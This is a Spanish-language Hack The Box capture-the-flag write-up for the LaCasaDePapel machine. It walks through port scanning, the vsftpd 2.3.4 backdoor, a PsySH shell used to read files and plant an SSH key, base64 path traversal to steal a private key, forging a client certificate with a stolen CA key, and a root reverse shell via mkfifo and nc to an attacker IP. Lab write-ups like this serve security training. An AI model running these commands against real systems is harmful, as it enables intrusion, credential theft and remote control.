This page looks best with JavaScript enabled

Hack The Box - LaCasaDePapel

 •  ✍️ sckull

LaCasaDePapel con tematica en la serie de Netflix, expone la consola de desarrollo Psy Shell por medio de la cual obtuvimos certificados para acceder a un area restringida. Escribimos nuestra clave publica en los archivos SSH para obtener acceso. Finalmente escalamos privilegios mediante un CronJob.

Informacion de la Maquina

Nombre LaCasaDePapel box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.131
Maker

thek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7, 5, 6.1, 3.9, 5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 5, 8, 2, 5],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Escaneo de todos los puertos tcp/udp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
masscan -p1-65535,U:1-65535 10.10.10.131 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT)
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.131                                   
Discovered open port 22/tcp on 10.10.10.131                                    
Discovered open port 80/tcp on 10.10.10.131                                    
Discovered open port 21/tcp on 10.10.10.131

Escaneo de puertos encontrados con MASSCAN.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 00:48 BST
Nmap scan report for 10.10.10.131
Host is up (0.22s latency).

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js Express framework
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.11 seconds

Agregamos lacasadepapel.htb a nuestro archivo /etc/hosts.

HTTPS

Al visitar la pagina en https nos muestra un error de certificado.

image

HTTP

Al visitar la pagina nos muestra una imagen QR.
image

FTP

Encontramos ftp en su version vftpd 2.3.4 el cual tiene una vulnerabilidad de backdoor, utilizamos exploit escrito en python para ejecutar comandos, cuando lo ejecutamos nos muestra un mensaje de Psy Shell, intentamos conectarnos al puerto 6200, y encontramos una shell de Psysh,y con el comando dir la clase $tokyo.

Expliting Vsftpd

Github - Exploit

image

Utilizamos el comando ‘show $tokyo’ para mostrar el codigo que en este se encuentra.

image

1
2
3
4
5
6
7
8
class Tokyo {
	private function sign($caCert,$userCsr) {
    	$caKey = file_get_contents('/home/nairobi/ca.key');
    	$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    	openssl_x509_export($userCert, $userCertOut);
    	return $userCertOut;
    }
}

Al parecer es una clase que crea un certificado para tener acceso a la pagina en https, vamos a generar el nuestro utilizando la key (ca.key) que utiliza la funcion. Para leer este archiv utilizamos: file_get_contents(archivo).

image
image

IBM - Certificate

Github - Certificate

tecadmin - Certificate

Generamos nuestro certificado para firefox con los siguientes comandos:

1
openssl req -key ca.key -new -x509 -days 365 -out lacasadepapelhtb.crt -subj "/C=US/ST=New York/L=Brooklyn/O= La Casa De Papel/CN=lacasadepapel.htb" 
1
openssl pkcs12 -export -in lacasadepapelhtb.crt -inkey ca.key -out lacasadepapelhtb.p12

Importamos nuestro certificado a firefox y al visitar la pagina nos muestra lo siguiente:
image

Al visitar SEASON-1 nos muestra una lista de videos en formato avi al visitar o dar click a uno de ellos nos descarga un archivo, vacio.
image

01.avi

https://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZp

Dicha url en su parte final (/U0VBU09OLTEvMDEuYXZp) esta codificada en base64, por lo que al decodificarla obtenemos el valor de SESEASON-1/01.avi, sabiendo esto podemos codificar ../../../../etc/passwd en base64 para observar que pasa si codificamos una ruta de un archivo para descargarla.

image

Asi es como obtenemos el archivo /etc/passwd, ahora que sabemos como descargar archivos vamos a descargar el id_rsa (../.ssh/id_rsa) del usuario berlin y asi conectarnos mediante el servicio ssh.

Por alguna razon el id_rsa del usuario berlin no funciona en si mismo, funciona con el usuario professor y dali. En el caso de dali debemos de agregar nuestra clave al archivo authorized_keys mediante PSYSH.

USUARIO DALI PSYSH

Debugging Psysh

Utilizando psysh en el puerto 6200 mediante telnet podemos leer y escribir archivos, en este caso vamos a leer el archivo /etc/passwd.

$file = file_get_contents('/etc/passwd');echo $file;

image

Al revisar dicho archivo vemos que el usuario dali tiene como shell psysh y su directorio principal es /home/dali.

etcpasswd format

image

Ya que sabemos que psysh es ejecutado por el usuario dali y tenemos acceso a su directorio principal, podemos generar y agregar nuestra id_rsa.pub a el archivo authorized_keys del usuario dali, para luego poder conectarnos por medio de ssh.

image

1
$text = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkleT1qRUUh9Qu7dT4UXLIfsQc4qkEvKax/+7T3l24zhIJm3R2KOEbfOYdtRBwVOyoE8YfXp7YjPV/lFa7W5MkOoXACk3bl1rYS8GrRr/uYMabrponpZTFPMRl90lBArarRPMFtEKtrhoTw+QBSdKa8Be5AOCp5I+Ky8hF/Pf7uSgThtYD7/LLFIpW6YJJu06M890xah1TwuXkgqzPfPWtaVOYvS1smnSYbjflNtMQ0pHSHBTElXx9r9VmFXIslBkST1iHbQT5ZzWHvKxFQkAEoLyAqdvIkgJ7zKbcEwz9bQO4dPVe18D4srDGUnoG+v+/YNexvwmHaCP/V5cUdupv root@sckull";$filename = "/home/dali/.ssh/authorized_keys";$fh = fopen($filename, "a");fwrite($fh, $text);fclose($fh);

Escribimos y verificamos.
image

Ahora nos conectamos con la clave de ‘berlin’.
image

USUARIO PROFESSOR - SSH

Para el usuario professor utilizamos la misma clave para conectarnos y obtenemos una sesion ssh.
image

USER - FLAG

Al enumerar las carpetas de los usuarios encontramos nuestra bandera user.txt en la carpeta de berlin, para obtenernuestra bandera encodeamos la direccion en base64 y la descargamos de la misma forma que la clave de berlin.

image

PRIVILEGE ESCALATION

Utilizamos pspy64 para ver los crons que se ejecutan.
image

Encontramos un proceso que se ejecuta que utiliza node y un archivo memcached.js.
image

El archivo memcached.js se encuentra en nuestra carpeta principal (/home/professor) pero no tenemos permisos, tambien se encuentra otro archivo llamadao memcached.ini que contiene un comando que ejecuta node con el archivo memcached.js.

image

Hacemos una prueba de ping con el usuario root a nuestra ip, agregamos lo siguiente a memcached.ini, pero primero renombramos el archivo anterior a otro ya que no tenemos permisos, creamos un nuevo archivo con el mismo nombre y agregamos lo siguiente.

image

Y obtenemos la respuesta de la maquina.
image

Para obtener una shell inversa creamos un archivo con nuestra shell inversa dentro, y agregamos su ejecucion dentro del archivo memcached.ini.

batman.sh

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.12.119 7878 >/tmp/f" > /tmp/batman.sh
1
2
3
memcached.ini
[program:memcached]
command = sudo -u root sh /tmp/batman.sh

image

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe